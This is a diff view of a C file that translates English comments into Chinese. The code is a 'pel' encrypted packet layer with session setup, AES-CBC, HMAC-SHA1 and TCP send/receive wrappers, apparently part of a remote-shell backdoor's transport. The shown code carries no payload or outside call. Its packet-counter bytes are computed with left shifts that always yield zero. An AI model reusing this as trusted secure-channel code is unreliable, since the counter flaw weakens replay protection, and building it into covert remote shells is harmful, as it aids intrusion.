int pel_send_all(int s, void *buf, size_t len, int flags); int pel_send_all(int s, void *buf, size_t len, int flags);
int pel_recv_all(int s, void *buf, size_t len, int flags); int pel_recv_all(int s, void *buf, size_t len, int flags);
/* session setup - client side */ /* 会话初始化 - 客户端 */
int pel_client_init(int server, char *key) int pel_client_init(int server, char *key)
{ {
@ -58,7 +58,7 @@ int pel_client_init(int server, char *key)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
unsigned char IV1[20], IV2[20]; unsigned char IV1[20], IV2[20];
/* generate both initialization vectors */ /* 生成两个初始化向量 */
pid = getpid(); pid = getpid();
@ -90,26 +90,26 @@ int pel_client_init(int server, char *key)
memcpy(IV2, &buffer[20], 20); memcpy(IV2, &buffer[20], 20);
/* and pass them to the server */ /* 将它们传递给服务器 */
ret = pel_send_all(server, buffer, 40, 0); ret = pel_send_all(server, buffer, 40, 0);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* setup the session keys */ /* 设置会话密钥 */
pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2); pel_setup_context(&recv_ctx, key, IV2);
/* handshake - encrypt and send the client's challenge */ /* 握手 - 加密并发送客户端的挑战 */
ret = pel_send_msg(server, challenge, 16); ret = pel_send_msg(server, challenge, 16);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* handshake - decrypt and verify the server's challenge */ /* 握手 - 解密并验证服务器的挑战 */
ret = pel_recv_msg(server, buffer, &len); ret = pel_recv_msg(server, buffer, &len);
@ -127,14 +127,14 @@ int pel_client_init(int server, char *key)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* session setup - server side */ /* 会话初始化 - 服务器 */
int pel_server_init(int client, char *key) int pel_server_init(int client, char *key)
{ {
int ret, len; int ret, len;
unsigned char IV1[20], IV2[20]; unsigned char IV1[20], IV2[20];
/* get the IVs from the client */ /* 从客户端获取 IVs */
ret = pel_recv_all(client, buffer, 40, 0); ret = pel_recv_all(client, buffer, 40, 0);
@ -144,12 +144,12 @@ int pel_server_init(int client, char *key)
memcpy(IV2, &buffer[0], 20); memcpy(IV2, &buffer[0], 20);
memcpy(IV1, &buffer[20], 20); memcpy(IV1, &buffer[20], 20);
/* setup the session keys */ /* 设置会话密钥 */
pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2); pel_setup_context(&recv_ctx, key, IV2);
/* handshake - decrypt and verify the client's challenge */ /* 握手 - 解密并验证客户端的挑战 */
ret = pel_recv_msg(client, buffer, &len); ret = pel_recv_msg(client, buffer, &len);
@ -162,7 +162,7 @@ int pel_server_init(int client, char *key)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* handshake - encrypt and send the server's challenge */ /* 握手 - 加密并发送服务器的挑战 */
ret = pel_send_msg(client, challenge, 16); ret = pel_send_msg(client, challenge, 16);
@ -174,10 +174,10 @@ int pel_server_init(int client, char *key)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* this routine computes the AES & HMAC session keys */ /* 该例程计算 AES 和 HMAC 会话密钥 */
void pel_setup_context(struct pel_context *pel_ctx, char *key, void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]) unsigned char IV[20])
{ {
int i; int i;
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
@ -202,7 +202,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key,
pel_ctx->p_cntr = 0; pel_ctx->p_cntr = 0;
} }
/* encrypt and transmit a message */ /* 加密并传输消息 */
int pel_send_msg(int sockfd, unsigned char *msg, int length) int pel_send_msg(int sockfd, unsigned char *msg, int length)
{ {
@ -210,7 +210,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
int i, j, ret, blk_len; int i, j, ret, blk_len;
/* verify the message length */ /* 验证消息长度 */
if (length <= 0 || length > BUFSIZE) { if (length <= 0 || length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH; pel_errno = PEL_BAD_MSG_LENGTH;
@ -218,16 +218,16 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* write the message length at start of buffer */ /* 将消息长度写入缓冲区开始位置 */
buffer[0] = (length >> 8) & 0xFF; buffer[0] = (length >> 8) & 0xFF;
buffer[1] = (length)&0xFF; buffer[1] = (length)&0xFF;
/* append the message content */ /* 追加消息内容 */
memcpy(buffer + 2, msg, length); memcpy(buffer + 2, msg, length);
/* round up to AES block length (16 bytes) */ /* 向上取整到 AES 块长度 (16 字节) */
blk_len = 2 + length; blk_len = 2 + length;
@ -235,7 +235,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
blk_len += 16 - (blk_len & 0x0F); blk_len += 16 - (blk_len & 0x0F);
} }
/* encrypt the buffer with AES-CBC-128 */ /* 使用 AES-CBC-128 加密缓冲区 */
for (i = 0; i < blk_len; i += 16) { for (i = 0; i < blk_len; i += 16) {
for (j = 0; j < 16; j++) { for (j = 0; j < 16; j++) {
@ -247,7 +247,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
memcpy(send_ctx.LCT, &buffer[i], 16); memcpy(send_ctx.LCT, &buffer[i], 16);
} }
/* compute the HMAC-SHA1 of the ciphertext */ /* 计算密文的 HMAC-SHA1 */
buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF; buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF; buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF;
@ -264,11 +264,11 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
sha1_update(&sha1_ctx, digest, 20); sha1_update(&sha1_ctx, digest, 20);
sha1_finish(&sha1_ctx, &buffer[blk_len]); sha1_finish(&sha1_ctx, &buffer[blk_len]);
/* increment the packet counter */ /* 增加数据包计数器 */
send_ctx.p_cntr++; send_ctx.p_cntr++;
/* transmit ciphertext and message authentication code */ /* 传输密文和消息认证码 */
ret = pel_send_all(sockfd, buffer, blk_len + 20, 0); ret = pel_send_all(sockfd, buffer, blk_len + 20, 0);
@ -280,7 +280,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* receive and decrypt a message */ /* 接收并解密消息 */
int pel_recv_msg(int sockfd, unsigned char *msg, int *length) int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
{ {
@ -290,14 +290,14 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
struct sha1_context sha1_ctx; struct sha1_context sha1_ctx;
int i, j, ret, blk_len; int i, j, ret, blk_len;
/* receive the first encrypted block */ /* 接收第一个加密块 */
ret = pel_recv_all(sockfd, buffer, 16, 0); ret = pel_recv_all(sockfd, buffer, 16, 0);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (PEL_FAILURE); return (PEL_FAILURE);
/* decrypt this block and extract the message length */ /* 解密该块并提取消息长度 */
memcpy(temp, buffer, 16); memcpy(temp, buffer, 16);
@ -309,11 +309,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
*length = (((int)buffer[0]) << 8) + (int)buffer[1]; *length = (((int)buffer[0]) << 8) + (int)buffer[1];
/* restore the ciphertext */ /* 恢复密文 */
memcpy(buffer, temp, 16); memcpy(buffer, temp, 16);
/* verify the message length */ /* 验证消息长度 */
if (*length <= 0 || *length > BUFSIZE) { if (*length <= 0 || *length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH; pel_errno = PEL_BAD_MSG_LENGTH;
@ -321,7 +321,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* round up to AES block length (16 bytes) */ /* 向上取整到 AES 块长度 (16 字节) */
blk_len = 2 + *length; blk_len = 2 + *length;
@ -329,7 +329,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
blk_len += 16 - (blk_len & 0x0F); blk_len += 16 - (blk_len & 0x0F);
} }
/* receive the remaining ciphertext and the mac */ /* 接收剩余的密文和 mac */
ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0); ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0);
@ -338,7 +338,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
memcpy(hmac, &buffer[blk_len], 20); memcpy(hmac, &buffer[blk_len], 20);
/* verify the ciphertext integrity */ /* 验证密文完整性 */
buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF; buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF; buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF;
@ -361,11 +361,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE); return (PEL_FAILURE);
} }
/* increment the packet counter */ /* 增加数据包计数器 */
recv_ctx.p_cntr++; recv_ctx.p_cntr++;
/* finally, decrypt and copy the message */ /* 最后,解密并复制消息 */
for (i = 0; i < blk_len; i += 16) { for (i = 0; i < blk_len; i += 16) {
memcpy(temp, &buffer[i], 16); memcpy(temp, &buffer[i], 16);
@ -386,7 +386,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_SUCCESS); return (PEL_SUCCESS);
} }
/* send/recv wrappers to handle fragmented TCP packets */ /* 发送/接收包装器以处理分段的 TCP 数据包 */
int pel_send_all(int s, void *buf, size_t len, int flags) int pel_send_all(int s, void *buf, size_t len, int flags)
{ {

Loading…
Cancel
Save